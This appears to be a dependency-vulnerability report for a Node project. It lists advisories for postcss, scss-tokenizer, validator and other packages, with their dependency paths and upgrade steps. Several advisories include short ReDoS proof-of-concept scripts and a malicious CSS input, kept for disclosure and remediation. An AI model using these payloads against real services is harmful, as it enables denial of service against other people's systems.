This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade postcss to version 8.5.10 or higher.
References
medium severity
- Vulnerable module: postcss
- Introduced through: css-loader@0.28.11
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › postcss@5.2.18Remediation: Upgrade to css-loader@5.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › autoprefixer@6.7.7 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-calc@5.3.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-colormin@2.2.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-convert-values@2.6.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-comments@2.0.4 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-duplicates@2.1.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-empty@2.1.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-overridden@0.1.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-unused@2.2.3 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-filter-plugins@2.0.3 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-idents@2.1.7 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-longhand@2.0.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-rules@2.1.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-font-values@1.0.5 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-gradients@1.0.5 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-params@1.2.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-selectors@2.1.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-normalize-charset@1.1.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-normalize-url@3.0.8 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-ordered-values@2.2.3 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-idents@2.4.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-initial@1.0.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-transforms@1.0.4 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-unique-selectors@2.0.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-zindex@2.2.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › icss-utils@2.1.0 › postcss@6.0.23Remediation: Upgrade to css-loader@5.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › postcss-modules-extract-imports@1.2.1 › postcss@6.0.23Remediation: Upgrade to css-loader@5.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › postcss-modules-local-by-default@1.2.0 › postcss@6.0.23Remediation: Upgrade to css-loader@5.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › postcss-modules-scope@1.1.0 › postcss@6.0.23Remediation: Upgrade to css-loader@5.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › postcss-modules-values@1.3.0 › postcss@6.0.23Remediation: Upgrade to css-loader@5.0.0.
Overview
postcss is a PostCSS is a tool for transforming styles with JS plugins.
Affected versions of this package are vulnerable to Improper Input Validation when parsing external Cascading Style Sheets (CSS) with linters using PostCSS. An attacker can cause discrepancies by injecting malicious CSS rules, such as @font-face{ font:(\r/*);}.
This vulnerability is because of an insecure regular expression usage in the RE_BAD_BRACKET variable.
Remediation
Upgrade postcss to version 8.4.31 or higher.
References
medium severity
- Vulnerable module: postcss
- Introduced through: css-loader@0.28.11
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › postcss@5.2.18Remediation: Upgrade to css-loader@2.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › autoprefixer@6.7.7 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-calc@5.3.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-colormin@2.2.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-convert-values@2.6.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-comments@2.0.4 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-duplicates@2.1.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-empty@2.1.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-overridden@0.1.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-unused@2.2.3 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-filter-plugins@2.0.3 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-idents@2.1.7 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-longhand@2.0.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-rules@2.1.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-font-values@1.0.5 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-gradients@1.0.5 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-params@1.2.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-selectors@2.1.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-normalize-charset@1.1.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-normalize-url@3.0.8 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-ordered-values@2.2.3 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-idents@2.4.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-initial@1.0.1 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-transforms@1.0.4 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-unique-selectors@2.0.2 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-zindex@2.2.0 › postcss@5.2.18Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › icss-utils@2.1.0 › postcss@6.0.23Remediation: Upgrade to css-loader@2.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › postcss-modules-extract-imports@1.2.1 › postcss@6.0.23Remediation: Upgrade to css-loader@2.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › postcss-modules-local-by-default@1.2.0 › postcss@6.0.23Remediation: Upgrade to css-loader@2.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › postcss-modules-scope@1.1.0 › postcss@6.0.23Remediation: Upgrade to css-loader@2.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › postcss-modules-values@1.3.0 › postcss@6.0.23Remediation: Upgrade to css-loader@2.0.0.
Overview
postcss is a PostCSS is a tool for transforming styles with JS plugins.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \/\*\s*# sourceMappingURL=(.*).
PoC
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
// postcss.parse('a{}/*# sourceMappingURL=a.css.map */')
for(var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i)
try{
postcss.parse(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
}
catch(e){
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
}
}
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade postcss to version 8.2.13, 7.0.36 or higher.
References
medium severity
- Vulnerable module: scss-tokenizer
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › node-sass@4.14.1 › sass-graph@2.2.5 › scss-tokenizer@0.2.3Remediation: Upgrade to node-sass@7.0.2.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the loadAnnotation() function, due to the usage of insecure regex.
PoC
var scss = require("scss-tokenizer")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
// postcss.parse('a{}/*# sourceMappingURL=a.css.map */')
for(var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i)
try{
scss.tokenize(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
}
catch(e){
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
}
}
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade scss-tokenizer to version 0.4.3 or higher.
References
medium severity
- Vulnerable module: sequelize
- Introduced through: sequelize@3.35.1
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › sequelize@3.35.1Remediation: Upgrade to sequelize@6.28.1.
Overview
sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.
Affected versions of this package are vulnerable to Information Exposure due to improper user-input, by allowing an attacker to create malicious queries leading to SQL errors.
Remediation
Upgrade sequelize to version 6.28.1 or higher.
References
medium severity
- Vulnerable module: superagent
- Introduced through: chai-http@3.0.0
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › chai-http@3.0.0 › superagent@2.3.0Remediation: Upgrade to chai-http@4.0.0.
Overview
superagent is a Small progressive client-side HTTP request library, and Node.js module with the same API, supporting many high-level HTTP client features.
Affected versions of this package are vulnerable to Information Exposure due to sending the contents of Authorization to third parties.
Remediation
Upgrade superagent to version 3.8.1 or higher.
References
medium severity
- Vulnerable module: uglify-js
- Introduced through: webpack@2.7.0
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › webpack@2.7.0 › uglify-js@2.8.29Remediation: Upgrade to webpack@3.0.0.
Overview
uglify-js is a JavaScript parser, minifier, compressor and beautifier toolkit.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the string_template and the decode_template functions.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade uglify-js to version 3.14.3 or higher.
References
medium severity
- Vulnerable module: validator
- Introduced through: sequelize@3.35.1 and validator@7.2.0
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › sequelize@3.35.1 › validator@5.7.0Remediation: Upgrade to sequelize@5.22.5.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › validator@7.2.0Remediation: Upgrade to validator@13.15.20.
Overview
validator is a library of string validators and sanitizers.
Affected versions of this package are vulnerable to Improper Validation of Specified Type of Input in the isURL() function which does not take into account : as the delimiter in browsers. An attackers can bypass protocol and domain validation by crafting URLs that exploit the discrepancy in protocol parsing that can lead to Cross-Site Scripting and Open Redirect attacks.
Remediation
Upgrade validator to version 13.15.20 or higher.
References
medium severity
- Vulnerable module: validator
- Introduced through: sequelize@3.35.1 and validator@7.2.0
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › sequelize@3.35.1 › validator@5.7.0Remediation: Upgrade to sequelize@5.22.5.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › validator@7.2.0Remediation: Upgrade to validator@13.6.0.
Overview
validator is a library of string validators and sanitizers.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isSlug() function.
PoC
var validator = require("validator")
function build_attack(n) {
var ret = "111"
for (var i = 0; i < n; i++) {
ret += "a"
}
return ret+"_";
}
for(var i = 1; i <= 50000; i++) {
if (i % 10000 == 0) {
var time = Date.now();
var attack_str = build_attack(i)
validator.isSlug(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
